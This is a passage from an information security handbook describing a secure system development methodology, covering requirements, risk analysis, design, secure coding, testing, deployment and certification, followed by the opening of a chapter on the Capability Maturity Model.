Requirements Stage The high-level objectives of the requirements stage are to: • Extrapolate information security requirements from business requirements. • Capture applicable security policies, standards, and guidelines from within the organization. • Capture applicable regulatory and audit requirements, such as the Gramm–Leach–Bliley Act (GLBA), the Health Insurance Portability and Accountability Act, Common Criteria, etc. • Create a detailed security requirements deliverable. Identify Information Protection Requirements The typical SDLC tends to focus on business capabilities in the requirements stage. The SDSM seeks to anchor the project team on the confidentiality, availability, and integrity of information early in the development process. Different industries and different systems have dissimilar information protection requirements. For example, healthcare organizations might stress the confidentiality of patient records, whereas banking might be more concerned about the integrity of monetary transactions. The project team needs to understand and capture what adequate protection of information means in their specific context. Organizations with information or data classification policies are at an advantage here because the team could more conveniently identify the type of information that is processed as well as the organization’s requirements around how the information is to be protected. When the types of information are identified, protection requirements should be further organized into areas such as storage and exchange, authentication, and access control. Requirements should be based not only on the classification of the data (e.g., internal use, highly confidential) but also on the way in which data is accessed (e.g., via the Internet, remotely via leased lines, or from inside the organization) and the type of user (e.g., educated employees, public users), as well as the way in which access is managed (e.g., rule-based, role-based). Identify Organization and Regulatory Security Requirements Of key importance is that the project team verifies and captures all applicable information security policies and standards pertaining to the system to be developed to ensure that the organization’s security requirements are being met. Equally important is for the project team to be aware of current as well as pending federal, state, and local regulatory standards. Project teams should be aware that different states have begun implementing bills specific to information security. For example, the California Senate Bill 1386, which went into effect on July 1, 2003, requires a business to notify individuals if their personal information may have been compromised because of a security breach. Finally, the organization should document any requirements from the organization’s audit and compliance group. Identify User Base and Access Control Requirements The largest impact to a system’s security is caused by users. It is important to know the user communities that will require access to the system and how the system will identify, authenticate, and authorize the users in each community. As part of the access control mechanism, the project team should also consider the reliability of service requirement. If the team is evaluating or developing a system of critical importance that may be subject to denial-of-service attacks, it is important that access be controlled to ensure that the most important users have priority when they need it. In most organizations, loss of service is an annoyance or results in a loss of revenue. In the military, loss of service could result in loss of life. Identify Security Audit Requirements Depending on the sensitivity or criticality of the information stored on the system, the organization may need to hold individual users highly accountable for their actions on the system. The SDLC tends to
312
Information Security Management Handbook
TABLE 25.1 Sample of Content Included in Detailed Security Requirements Deliverable Subheadings
Content
Information Storage and Exchange
Information classification Encryption requirements (if applicable) Information exchange control points (entry/ exit)
Identification/ Authentication
Accountability
User communities specification (e.g., external end users, internal end users, business partners, support, administrators, vendors) Authentication strength (password, strong passwords, two-factor, biometrics) Warning banner requirements Credential management requirements Mode of access control (role-based, rule-based) Levels of access rights Access move, add, delete requirements High availability and redundancy requirements Fail-safe requirements Error and security notification requirements Security-related activities to be logged
Audit
Audit reporting functionality
Authorization
Reliability of Service
Example Customer insurance policy information is classified as confidential and must be encrypted when transmitted over the Internet. Customer insurance policy being transmitted to business partner must pass through a single entry/exit point. Public end users must be uniquely identified and authenticated to the system using strong passwords.
Role-based authorization must be used. Users can have multiple roles. Need to know is considered. Failure of the log-on mechanism must exit safely and not grant access to the requestor. Log-on failures must be time stamped and the user ID and number of attempts logged. Report failed log-ons over the past 30 days.
focus on error reporting and system events. It is not uncommon for systems to be built with little or no consideration for security auditing requirements. This neglect affects the accuracy and granularity of security-related event tracking, which in turn makes auditing and incident handling activities more complex. The project team should consider the following when identifying security audit requirements: • Determine the alignment with organizationwide security auditing strategy. • Determine the audit approach: subject-oriented (uses, roles, groups) versus object-oriented (files, transactions) versus a hybrid approach. • Determine the level of granularity needed to provide a sufficient audit trail. • Determine the administration and protection of the audit logs. • Determine the life cycle of the audit logs (align with the organization’s retention policies). • Determine the interoperability of the auditing capability (operability with other repositories). Detailed Security Requirements Deliverable The detailed security requirements deliverable should be a subset of the requirements documents produced in the SDLC process. Table 25.1 provides a sample of subheadings that should be included in this deliverable. The detailed security requirements deliverable is a living document that may require updating in later stages. This document will be used in the design stage to create a one-to-one mapping of functionality to requirements to ensure that all requirements have been addressed.
Analyze Stage The objective of the analyze stage in the SDSM is to provide a dose of reality in the ideal world of the requirements stage. The project team must determine the viability of designing and implementing the security requirements and adjust appropriately according to budget, resource, and time constraints. Subsequently, the final scope should be defined; the project deliverables, timelines, checkpoints, budget, and resources should be identified; and a security project plan should be created for incorporation into the overall SDLC project plan. A high-level information security risk document should also be prepared for presentation at the initial certification review (discussed later in the chapter). It is critical that a
313
System Development Security Methodology
Place the new system in its environment (as it will reside in production)
Identify security touch-points in the architecture
Identify technical, man-made, and natural threats to the system
Identify likelihood of each threat occurring
Summarize risk and cost findings in the Information Security Risk Document
Identify business impact of not reducing or eliminating the threat
Identify cost of reducing or removing the threat
Identify cost of damage that would be incurred if the threat occurred
FIGURE 25.2 High-level flow depicting the process of identifying risks and costs of a new system.
thorough security analysis be done to ensure that the proper security elements are considered in the design stage. An incomplete analysis could lead to a faulty design, which at best will lead to costly rework and at worst will result in an insecure end product. Identify Risks and Costs The project team should understand how the addition of a new system will impact the organization’s existing information technology (IT) architecture and what new security risks the system could introduce into the environment. This exercise should identify the appropriate network location of the new system, as well as the security touch-points between the system and the preexisting IT infrastructure. When the new system has been placed into the environment, the project team should conduct a risk analysis to identify all possible security threats to the system, including technical hazards (e.g., power outages, security vulnerabilities), manmade hazards (e.g., fire, sabotage), and natural hazards (e.g., floods, tornadoes). The team should then identify the likelihood that each threat will occur and estimate the cost of the potential damage. Next, the project team should estimate the cost to mitigate the risk and determine the business impact if a risk is not addressed. Finally, the project team should highlight the most costly and complex security requirements and document the risk and cost findings at a high level in the information security risk document. Figure 25.2 summarizes the process of identifying risks and costs. Risk Versus Cost Analysis It is possible that the costs of implementing security outweigh the risks, in which case the requirements should be modified or an exception to the security requirement obtained. For example, a project team in the healthcare industry is building a capability that requires external e-mail exchange of personal health information (PHI). Encryption of PHI transmitted over public e-mail is a regulatory requirement. If the cost of deploying a secure interorganizational e-mail solution is beyond the budget of the project, an alternative may be to use “snail mail” or secure faxes. Another option is to propose a shared infrastructure for an enterprisewide secure e-mail solution and obtain an exception until this capability is built out. Determine Security Scope and Finalize Security Requirements When risks, costs, and impact have been analyzed, the project team should determine the system requirements to include or exclude based on cost, risk, complexity, timing, impact, etc. This determination should take into consideration the impact of security on end users, the potential damage that the end user could do to the system, other threats to the system (i.e., natural, technical, or manmade hazards), and business needs. The risk analysis should be consolidated, and the project team should formulate risk mitigation activities and prepare exception requests (discussed later). The project team should also make a determination around building, buying, reusing, or outsourcing security components. In this decision, the cost of security versus the value it adds should be considered, as well as the complexity and robustness of the solution options. Finally, the requirements should be finalized.
314
Information Security Management Handbook
TABLE 25.2 Subheadings in Security Project Plan Deliverable and Suggested Content Subheadings
Content
Timelines and Checkpoints
Convert security requirements into tasks and assign duration and full-time equivalent (FTE) to tasks. Identify tasks for security certification. Establish checkpoints to monitor progress. Identify FTE cost. Identify material cost (software, hardware, support, services). Identify project management cost. Identify miscellaneous cost. Define organizational structure. Define roles to complete security tasks. Define responsibilities for each role.
Budget
Roles and Responsibilities
Evaluate Resource Needs When the final requirements have been established, the project team can identify timelines and checkpoints to build or configure the required functionality. The project team should also identify the project budget and resources that will be conducting the design, build, test, and implement work, along with their roles and responsibilities. Resources performing security tasks should have a security background or should be supervised by someone who does. This may require budgeting for internal or external security subject matter experts (SMEs) if security expertise is not available on the project team. Finally, the project team should plan time, effort, and resources for the certification process (discussed later). Security Project Plan The security project plan deliverable should be a subset of the overall project plan produced in the SDLC process. The security project plan should include the subheadings listed in Table 25.2. Initial Risk Mitigation Document The risk mitigation document is a living document that is created in the analyze stage and updated throughout the SDLC process to track information security risk. This document is completed at the end of the certification process in the deployment stage. The risk mitigation document should identify assets that are affected by the new system; the threats to and vulnerabilities within those assets, including likelihood of occurrence; the business impact if a vulnerability is exploited; a prioritization of the risks in accordance with the likelihood of occurrence and impact to the business; and a mitigation plan for each risk.
Design Stage The high-level objectives of the SDSM design stage are to: • Formulate how security components are to be built and incorporated into the overall system design. • Define the environments for secure development. • Conduct vendor or capability selection. • Prototype designs and finalize procurement decisions. • Formulate security testing plans (component, integration, product). • Pass the certification checkpoint (discussed later). Design System Security Components At this point, the project team should define the design of security components that will meet the documented security requirements. These components include security functions within the system, such as access role definitions, or separate yet complementary security components such as a single sign-on
System Development Security Methodology
315
architecture. The objective here is to flesh out the various security components of the system to meet stated requirements. Success criteria should also be defined for each security component (to be used in security testing). Here are some security design principles to keep in mind: • Avoid security for security’s sake; focus on the overall capability and the associated risk factors. • Address the key security areas of identification, authentication, authorization, confidentiality, integrity, availability, accountability, and, where applicable, nonrepudiation. • Forge multiple layers of controls; be wary of single points of failures and the location of the weakest link. • Strive for transparent security; it is an end-user’s best friend. • Keep security simple; complex designs have many secrets. • Consider the life cycle of the security component; begin with secure defaults and end with a failsafe stance. • Favor mature and proven security technologies; new is not always best, and organic is not always healthiest. • It is ready when you can take it to an expert; engage information security subject matter experts to review the soundness of the design. Perform Prototype Testing To Validate the Capability Prototype testing validates that the combined elements of a proposed design meet the security requirements. This should occur before the detailed design is complete. The prototype testing is also considered a precursor to the application testing. This may occur in a prototype or test-bed environment. Designers should choose the basic components that will constitute the system based on the assumption that the components possess the capabilities called for in the requirements. Before the time and effort are devoted to a detailed design, these assumptions must be verified and the risks must be evaluated. How this analysis is done (empirically, by developing a prototype of the proposed system, or less formally) will depend on the familiarity of the design team with the proposed architecture. In short, a gray area exists where the differences between verification and actual testing are ill defined. The project team should seek a level of rigor appropriate for the complexity of the system. Determine and Establish Development Security Needs It is critical that the project team has an appropriate environment (or environments) in which to conduct the build and test stages. This environment should be documented as part of the design stage. The project team should make arrangements to acquire development, testing, staging, and production environments that meet their needs. These environments should be physically or logically separate and properly secured. The project team should also define mechanisms to maintain the integrity, confidentiality, and availability of the source code by version control, checksums, access rights, logging, etc. Access privileges should be defined according to roles and responsibilities. Access to source code, system utilities, developer privileges, and developer manuals should be restricted. Media should be protected and software properly licensed. To ensure secure and smooth migration from one environment to the next, the project team should define change control and risk mitigation processes, including a secure code migration strategy. Security Procurement To reduce costs and ensure interoperability with other systems in the organization, the project team should identify and procure any reusable security components, such as token or smart-card technologies. If a third-party system is to be purchased, the project team should undergo a vendor selection process, in which preexisting vendor relationships, industry recognition, company stability, support offering, product features, etc. are considered. When candidate components are procured, the project team should prototype potential solutions to verify capability, performance, interoperability, etc. When a vendor is selected, the project team should work with applicable legal or procurement representatives to establish contracts and agreements (e.g., service level agreements, operational level agreements, nondisclosure agreements).
316
Information Security Management Handbook
Develop Security Testing Approach Security testing in the SDSM differs from functional testing in the SDLC. Security testing focuses not only on those functions that invoke security mechanisms but also on the least-used aspects of the mechanisms, primarily because the least-used functions often contain flaws that can be exploited. As such, security testing usually includes a high number of negative tests, whose expected outcomes demonstrate unsuccessful attempts to circumvent system security. By contrast, functional testing focuses on those functions that are most commonly used. Develop a List of Assertions A reasonable approach to testing is to begin by developing a list of assertions. Security test assertions are created by identifying the security-relevant interfaces of a component, reviewing the security requirements and design documentation, and identifying conditions that are security relevant and testable. A few examples of security-relevant interfaces include the password-changing module available to a user, the user administration module available to a security administrator, the application programming interface available to an application programmer, and the console interface available to a network administrator. Examine such interfaces and the documentation associated with them for testable assertions. For example, the statement “A user should be able to change his own password” is an assertion that might be found in design documentation; a test can be built around this assertion. Distinguish between Different Types of Tests Security test procedures will be needed for several types of tests: • • • • •
Prototype testing to validate the security capability Component testing to validate package, reuse, and custom security component tests Integration testing to validate security functionality in integration testing and product testing Volume testing to ensure that the system will process data across physical and logical boundaries Stress testing to ensure effective transaction processing immediately after system downtime, after network downtime, or during peak periods (denial-of-service conditions) • Data recovery testing to investigate both data recovery capabilities and system restart capabilities for failover and redundancy • Database security testing to ensure that access is not provided outside the system environment
Security Design Deliverable The security design deliverable should be a subset of the overall system design deliverable produced in the SDLC process. The format and subheadings of the security design deliverable should follow those of the overall system design deliverable. Table 25.3 provides a recommended listing of security subheadings for this document. Security Test Plan The security test plan should be a subset of the overall test plan deliverable produced in the SDLC process. The format and subheadings of the security test plan should follow those of the overall test plan deliverable, as summarized in Table 25.4.
Build and Test Stage The high-level objectives of the build and test stage are to: • Build secure environments to foster system development integrity and protect preexisting infrastructure. • Promote secure coding practices to ensure the security quality of the finished product. • Enforce formal code review procedures to inculcate checks and balances into the code development process. • Thoroughly test all security components to validate the design; build a pilot capability. • Resolve issues within the certification process and pass the vulnerability assessment (discussed later).
317
System Development Security Methodology
TABLE 25.3 Recommended Subheadings for Security Design Deliverable and Suggested Content Subheadings
Content
Introduction
Purpose Context Scope References Security requirements Matching security components to meet each requirement Each security component design at a high level Interaction among security components, system architecture, and network infrastructure Information flow Environments Diagrams and flow charts, as necessary Each security component in detail Software, hardware, service specifications Details of development, testing, staging, and production environments Code maintenance process Secure code migration strategy Media protection and licensing protocols Change control and risk mitigation processes Physical security of development servers and workstations
Security Requirements to Design Mapping High-Level Description
Detailed Design Environment Design
Build Secure Environments Due to the laxness that typically exists in nonproduction environments, preexisting and future production environments should be appropriately demarcated from development, testing, and training segments. The project team should also configure (or arrange for the configuration with the network support team) network control points (e.g., firewalls, routers) to meet development, administrative, and operational objectives. Furthermore, the development environment should mirror the production environment as closely as possible for system build, as the system will ultimately have to function properly in the more rigorously controlled production environment.
TABLE 25.4 Recommended Subheadings for Security Test Plan Deliverable and Suggested Content Subheadings
Content
Introduction
Purpose Context Scope References Security design Matching testing components to validate each design Test approach or process and documentation procedures (should be similar to SDLC) Each testing stage: component, integration, product Test environments Entry/exit criteria Dependencies List of assertions Test input requirements Test cases Each testing phase; provide entry/exit criteria for each phase Test procedures; specify “testware” to use Regression test approach and criteria Code fix criteria Testing deliverables
Security Design To Test Mapping High-Level Description
Detailed Design
318
Information Security Management Handbook
A key activity in the build stage of the SDSM is server hardening. Hardening is the process of removing or disabling unneeded services, reconfiguring insecure default settings, and updating systems to secure patch levels. A common fallacy in the SDLC process is that systems are developed on unhardened servers and server hardening takes place in the production build-out phase. This predicament makes deploying applications on hardened servers a crapshoot, often resulting in system anomalies, finger-pointing, delayed timelines, and, worst of all, a permissive hardening stance to accommodate the application. A better approach is to ensure that development is done on hardened servers, and documentation of necessary services, protocols, system settings, and operating system (OS) dependencies are captured through the development process. Finally, to ensure availability, the project team should build or make arrangements for appropriate backup and availability capabilities. Enforce Secure Coding Practices and Build Security Components Software developers must be educated in secure coding practices to ensure that the end product has the required security functionality. This is a challenge in most organizations because, historically, security techniques have not been taught in programming classes. Where possible, the organization should arrange for formal secure coding training for its developers. The following text describes some high-impact recommendations for improving information security within an organization’s applications. Encryption and Random Number Generators The developer should use well-established cryptographic algorithms as opposed to implementing proprietary or obscure cryptographic algorithms. Examples of published encryption standards and mechanisms recognized by the cryptographic community are those listed in the Federal Information Processing Standards (FIPS) publication. Another fallacy related to cryptographic functions is the use of pseudorandom number generators (PSNGs). Developers should evaluate their PSNGs against the criteria set by RSA:1 • Is random enough to hide patterns and correlations (i.e., distribution of 1’s and 0’s will have no noticeable pattern) • Has a large period (i.e., it will repeat itself only after a large number of bits) • Generates on average as many 1’s as 0’s • Does not produce preferred strings such as “01010101” • Is a simple algorithm with good performance • Does not allow knowledge of some outputs to help predict past or future outputs • Has an internal state that is sufficiently large and unpredictable to avoid exhaustive searches Input Validation and Exception Checking Always validate (user and application) input. Most of the exploits seen in the past couple of years were a direct result of poor or incorrect input validation or mishandled exceptions. Independent of the platform, applications have been regularly broken by such attacks as buffer overflows, format string vulnerabilities, and utilization of shell-escape codes. Never trust input when designing an application, and always perform proper exception checking in the code. Authentication Authentication strength is paramount to the security of the application or system because other security controls such as authorization, encryption, and auditing are predicated on the authenticity of the user’s identity; however, authentication strength must always be weighed against usability. Enforcing a tencharacter complex password will only lead users to write passwords on Post-It notes and stick them next to their terminals. Do not hardcode credentials into applications, and do not store them in cleartext. Hardcoded passwords are difficult to change and sometimes even result in a clearly visible password in compiled application executables. A simple “string application_name” command on a UNIX host can reveal a password that is not encrypted. A good practice is to always encrypt authentication credentials. This is especially important for a Web application that uses cookies to store session and authentication information. Favor centralized authentication where possible. Centralized authentication repositories allow for a standardized authentication policy across the enterprise, consistency in authentication data, and a single point of administration — in addition to a single point of failure, so redundancy is required.
System Development Security Methodology
319
Authorization The authorization control is only as strong as its link to the identity it is authorizing (this link is the main target of impersonation attacks). In building out the authorization model, it is critical to form a strong link to the identity through the life cycle of the authenticated session. This is of particular importance in Web applications or multilayered systems where the identity is often propagated to other contexts. Logging and Auditing Logging and auditing can provide evidence of illegal or unauthorized access to an application and its data. It can become legal material if law enforcement authorities get involved. For this reason, logging and auditing should be designed to offer configurable logging and auditing capabilities, which allow the capture of detailed information if necessary. Code Dependencies Code development, especially object-oriented programming, often depends on the use of third-party libraries. Only acquire and use libraries from established vendors to minimize the risk of unknown vulnerabilities. Also, validate return code or values from libraries where possible. Similar care should be taken when relying on external subsystems for processing and input. Error Messages and Code Comments Error messages should not divulge system information. Attackers usually gather information before they try to break into an application or a network. For this reason, information given out to a user should be always evaluated under the aspect of what a user needs to know. For example, an error message telling the user that a database table is not available already contains too much information. Exception handling should log such an error and provide the user with a standard message, saying that the database is not available. In the same vein, do not include comments in public viewable code that could reveal valuable information about the inner workings of the system. This is strictly targeted at Web applications where code (and associated comments) resides on the browser. Online Coding Resources The following Web pages provide detailed practical assistance for programmers: • C/C++ — “Smashing the Stack for Fun and Profit,” http://downloads.securityfocus.com/library/ P49-14.text • Perl — “perlsec: Perl security,” http://perldoc.perl.org/perlsec.html • Java — “Security Code Guidelines,” http://java.sun.com/security/seccodeguide.html • UNIX — Wheeler, D.A., “Secure Programming for Linux and Unix How To: Creating Secure Software,” http://dwheeler.com/secure-programs/ • ASP — http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnsecure/html/msdn_ implement.asp Conduct Code Review Code review from the SDSM perspective has the objectives of checking for good security coding practices as well as auditing for possible backdoors in the code. It is a well-known fact that insiders conduct the majority of security exploits. Code developers are no exception to that rule. Conduct Security Testing Security testing provides assurance that security was implemented to meet the security requirements and to mitigate the risks identified in the security design plan. Security testing ascertains that the proposed components actually perform as expected and that security requirements are met throughout the integrated solution. The key aim of security testing is to search for exposures that might result in unauthorized access to the underlying operating system, application resources, audit or authentication data, and network resources or that could lead to denial-of-service attacks. Security testing also aims to identify and address the risk of noncompliant components. The risk and proposed mitigation plans should be
320
Information Security Management Handbook
captured in the project’s risk mitigation document (which was created in the analyze stage). There are as many different breakdowns for testing phases as there are SDLCs. In the interest of simplicity, the SDSM has three broad test phases: component testing, integration testing, and product testing, as described in the following text. Perform Component Testing Many components combine to form a security infrastructure. In general, this includes firewalls, authentication servers, encryption products, certificate servers, access control mechanisms, and routers. Configuration management is often the weak link that creates new exposures. Perform testing for these components individually to test the functionality and to identify any weaknesses in the configuration. The component testing should cover security functionality, performance, failure-proof or fail-safe ability (in case the individual component is compromised), logging and monitoring capability, and manageability. Security testing should include stress testing. Stress testing and worst-case-scenario testing will help to expose how well the component behaves under overloaded conditions. These types of testing will also indicate the capability’s exposure to denial of service attacks. Perform Integration Testing The next phase of the testing should focus on integration testing. This phase focuses on how well each component integrates with the other components in the architecture. The objective is to ensure that security requirements are met throughout the environment. Migrations to new environments and integration of custom and packaged components should be thoroughly tested. Perform Product Testing Product test execution will occur only after all package, custom, and reuse components have completed integration testing. The product test execution may not end until the entire product test model has been executed completely and without discrepancies. All pieces of the security solution should be installed and configured in a test environment to mimic a production environment as closely as possible. For the best results, product testing should occur in a production readiness (staging) environment. This environment should include all packaged software and all hardware chosen for production. When a new capability is introduced into an existing networked environment, the new capability inherits all the risks associated with that environment; therefore, it is extremely important to test how well the capability meets its security requirements within the production environment. General Tips on Security Testing The following list provides some general tips on testing for security: • Discourage the use of production data in the testing environment. • Do not use production passwords in the test environment. • Use strong passwords (minimum seven characters, alphanumeric, with mixed case and special characters) in the development environment, to emulate production. • Educate the testing team on specific security concerns, such as buffer overruns in C, TCP/IP vulnerabilities, operating system bugs, and ActiveX, Java, and CGI code problems. • Purge test data appropriately, so residual data is not available in the operating environment after it is used. Test data can be retained in the system library for future reference if necessary. • Disable test accounts when they are no longer necessary. • Document, evaluate, and address security risks of a noncompliant component at each testing phase. The Prepilot Environment The prepilot environment should have full system functionality and should have gone through and passed all testing stages. This environment should be part of the SDLC process. The additional security requirement here is getting the environment through the security certification process. this involves coordinating with the certification team to conduct a vulnerability assessment on the prepilot environment.
System Development Security Methodology
321
Deploy Stage The high-level objectives of the deploy stage are to migrate systems safely from development through to production; systematically cleanse obsolete environments of security-sensitive information; ensure and preserve the confidentiality, integrity, and availability of the production environments; implement secure deployment of systems, user information and credentials, postconfiguration information, etc.; employ secure code enhancement, software updates, and bug fixes procedures; secure deliverables produced during the SDLC; and complete the risk mitigation document and obtain certification sign-off. Secure System Migration A secure system migration process contributes to the goal of keeping the production environment as pristine as possible. To ensure that security is maintained throughout the migration process, the project team should assign migration owners and appropriate approval processes to ensure accountability and control during migration. Furthermore, least privilege should be used when granting access to personnel involved in the migration process. The migration should be conducted using secure protocols and mechanisms across environments. When the system has been migrated, integrity verifiers (e.g., checksums, message digests) should be used to verify the integrity of the system. The project team should also identify and enforce security maintenance as part of regularly scheduled maintenance windows to ensure the continued integrity of the new system in production. Security regression testing should be incorporated in the maintenance cycle to validate the integrity of the system after scheduled changes. Sanitize Obsolete Environments and Secure Production Environments The project team should implement a process to identify and sanitize development, test, and staging computing resources or environments that are no longer needed. Passwords (e.g., root, system, administrative, default) used in predeployment activities should be changed in all environments, especially production. The project team should also conduct a formalized transition of relevant credentials, system information, processes, documentation, licenses, etc., to the permanent operations or production team. During the SDLC process, a number of deliverables were produced that contain sensitive information, such as architecture specifics and risk analyses. Such deliverables must be kept for auditing and historical purposes, but they must be controlled to avoid improper disclosure of the information they contain. Finally the project team should ensure that the new system has adequate physical security when placed in production. Secure Deployment In the rush of making production deadlines, it is not uncommon for user password lists and other sensitive material to be mass distributed. These types of information could be used at a later time to gain unauthorized access into the system. The SDSM seeks to raise awareness of this issue. During deployment, the collection, setup, and distribution of credentials (e.g., passwords, tokens), and postconfiguration information (e.g., gateway, required ports, environment variables) should be appropriately controlled, monitored, and accounted for. When granting access to personnel involved in deployment activities and to permanent system users, least privilege should be used. All user access should be documented. User Awareness and Training It is difficult to maintain the security of a system without properly educating the users of that system. It is important that the project team raise user awareness on how to create good passwords, protect credentials, and promote understanding of other security-specific features, such as timeout mechanisms and account lockout. The project team should identify user support activities and set up caller authentication procedures to verify the identities of users calling the help desk for assistance, and users should be made aware of help-desk authentication practices to avoid social engineering attacks.
322
Information Security Management Handbook
Completed Risk Mitigation Document The risk mitigation document is a living document that was created in the analyze stage and updated throughout the SDLC process to track information security risk. The project team should confirm that all open risk items have been adequately mitigated or have appropriate exception approvals. The completed risk mitigation document should be signed-off as part of the certification issuance process (see below). Certification Framework Throughout this chapter the concept of certification has been alluded to. A certification framework is critical to ensuring the sustenance and improvement of the organization’s information security baseline. The objectives of certification are to: • • • • • •
Ensure correct interpretation of security policies and standards. Assess and manage risk throughout the capability development life cycle. Formalize confirmation of compliance to security policies and standards. Formalize acknowledgement and acceptance of information security risks. Facilitate resolutions, suggest alternatives, and authorize waivers to achieve compliance. Authorize and track waivers and postponements.
It is highly recommended that the organization develop an internal certification process in conjunction with the internal audit and compliance group. An internal certification process can be used instead of or in preparation for a formal, external certification such as SAS 70 or ISO 17799 or for a government certification and accreditation. The following text describes the certification components that have been referenced throughout this chapter. Initial Certification Review The initial certification review takes place after the requirements and analyze stages and before the design stage. The objectives of this review can be seen from two sides — the certification team and the project team. For the certification team, this review is an introduction to the project and allows the team to get acquainted with the project’s key players as well as the overall capability that is being proposed. For the project team, the objectives of the review are to familiarize themselves with the certification process, raise exceptions issues, and glean security subject matter expertise from the certification team. The benefits of the initial certification review are early identification of noncompliant issues, facilitation of exceptions requests, and knowledge sharing. In the initial certification review, the certification team will conduct requirements review and interview sessions with relevant individuals, collect information regarding and document the project’s alignment with security policies and standards, and provide project teams with resources (e.g., templates, information from similar projects) to facilitate the certification process. The certification team will also review any exception requests that have already been documented and facilitate the approval or denial of those requests. It should be noted that, although the certification team is comprised of security professionals, the individual that certifies the system or approves an exception is a functional owner, who is in a position to accept the risk for the organization. Prior to entering the initial certification review, the project team must have obtained and reviewed all pertinent information security policies and standards, business requirements, and external regulatory requirements and produced a detailed security requirements document, a security project plan, an initial risk mitigation document, and any initial exception requests. Upon completion of the initial certification review, the project team will be provided with approvals or denials of all initial exception requests, and they will have all the information necessary to create the risk analysis document for the requirements and analyze stages which captures risk issues, policies, standards and regulations that are violated, business impact, likelihood of risk, discovery timeframe, and the cost to fix. The document also contains a listing of risks that are ranked, an outline of mitigations, and timeframes for compliance.
System Development Security Methodology
323
Certification Checkpoint The certification checkpoint takes place after the design stage and before the build and test stage. The purpose of this checkpoint is to keep the channels of communication and feedback open between the certification team and the project during the design stage. At this time the certification team validates the project team’s security design against stated security requirements. The certification team also reviews the security designs to identify noncompliant issues and potential security implications with the enterprisewide security posture. Handling exceptions should also be a common activity during the certification checkpoint. Finally, the certification team should also provide cross-enterprise resource to the project team; for example, the certification team would know of previously certified projects that have a secure file transfer design that is similar to the needs of the current project. Prior to entering the certification checkpoint, the project team must have a completed security design document. After the checkpoint, the project team will receive approvals and denials on any new exception requests, based on which they will need to update the risk analysis document. Vulnerability Assessment The goal of the certification team during the vulnerability assessment is to test and identify noncompliant areas prior to deployment. In so doing, the certification team should exercise best effort to minimize disruption to project productivity. As a result of the vulnerability assessment, the certification team will provide empirical data to the project team, so they can update the risk mitigation document. The certification team also facilitates discussions with project teams to establish detailed activities for certification issuance at this point. The certification team’s activities during a vulnerability assessment are to: • • • • • • • •
Understand and analyze the environment by conducting interview sessions with relevant parties. Obtain and review environment documentation. Assess threat factors and identify application, system, infrastructure, and process vulnerabilities. Perform a vulnerability assessment with automated scanning tools and selected manual exploits. Present security analysis findings to the project team. Discuss security implications and project mitigation activities. Establish and gain consensus for the completion of the risk mitigation document. Establish a timeline and checkpoints for certification issuance.
Prior to entering the vulnerability assessment, the project team must have an updated risk mitigation document, as well as completed build and test deliverables. When the vulnerability assessment has been completed, the certification team provides the project team with a security assessment report, which contains the findings from the assessment. At this time, the project team can update the risk analysis document for the build and test stage, as well as the risk mitigation document. Certification Issuance The purpose of certification issuance is to formalize the confirmation of compliance to security policies and standards, as well as the acknowledgement and acceptance of information security risks. Prior to certification issuance, the certification team must validate completion of the risk mitigation document; ensure that all design, build, and test deliverables have been finalized; and ensure that either all exceptions have been approved or risks for denied exceptions have been mitigated. At this time, the certification team makes a recommendation to the certification issuer about whether or not the system should be certified. Upon completion of this phase, the project team has completed risk mitigation and risk analysis documents, and a certification issuance decision.
Summary To those unfamiliar with the SDLC and SDSM processes, the information presented in this chapter may seem daunting and unrealistic. Implementing such a methodology is in fact mostly a cultural issue, because it requires that project and development teams be more disciplined. It can also extend the project timeline
324
Information Security Management Handbook
a bit longer than management would like. However, the additional time and due diligence exercised prior to implementation have proven time and again to pay dividends in the long run by producing systems that are robust and secure, and that do not require costly redesign. Those organizations that have undergone the growing pains have found that it was well worth the effort. To implement an SDSM or the larger SDLC successfully, full management support and attention are needed. Also, a complete methodology must be developed by each organization with much more detail than was provided here, in terms that are specific to the needs of the individual organization. Furthermore, such a methodology must be maintained over time to ensure relevance. The technology focus at the writing of this chapter included such things as application servers and CGI scripts, but by the time this text is published the hot technology will be Web services. Although the base methodology of requirements–analyze–design–build and test–deploy and certification will stand the test of time, the technical details will change frequently, and project teams and developers must keep up.
Note 1. Atreya, M., “Pseudo Random Number Generators (PRNGs),” RSA Laboratories, http://www.rsasecurity.com/products/bsafe/overview/Article4-PRNG.pdf.
26 Software Engineering Institute Capability Maturity Model Matt Nelson
Introduction The Capability Maturity Model (CMM) is a model that helps organizations improve processes. Originally, it was developed specifically to measure the maturity of software engineering processes. Over time, the basic framework has been adapted to describe the maturity of other information technology (IT)-related processes. This article focuses on CMM in a software development environment. What is the goal of an organization implementing CMM? Organizations that implement CMM want to know how well-developed their processes are. As the name of the model implies, these organizations want to know about specific capabilities that are critical to their success. It is not enough to say that XYZ Company develops software. To be a successful software company, XYZ must gradually become more efficient at developing high-quality software, but to do so they must first develop processes to govern software development and then determine how to measure the performance of those processes. Refining their business means understanding which processes and subprocesses work and which ones require improvement or even replacement. Organizations using CMM over an extended period of time report significant improvements in quality of software delivered to their customers as well as reductions in the cost of delivering that software. For-profit companies are not the only organizations that can benefit from CMM. Any organization that needs to develop reliable software can improve their processes by implementing the CMM model. The National Aeronautic and Space Administration (NASA) adopted CMM years ago to improve the quality of software developed in the space program. It is often very difficult to recover from a software error on a spacecraft when it has launched. In addition, the cost (in dollars, time, and missions not accomplished) of faulty software long ago led NASA to search for a process improvement methodology and then to embrace CMM to ensure that software is as reliable as possible prior to putting it into production.
Information Technology Quality and Processes Before talking in detail about CMM, it is important to understand the needs that led to its development. IT management is still a relatively young discipline. As a result, customer satisfaction and overall quality have historically not been as high as IT executives desired. Many organizations have struggled with how to measure the quality of IT services. Unlike an organization that delivers a tangible product, such as a
325
326
Information Security Management Handbook
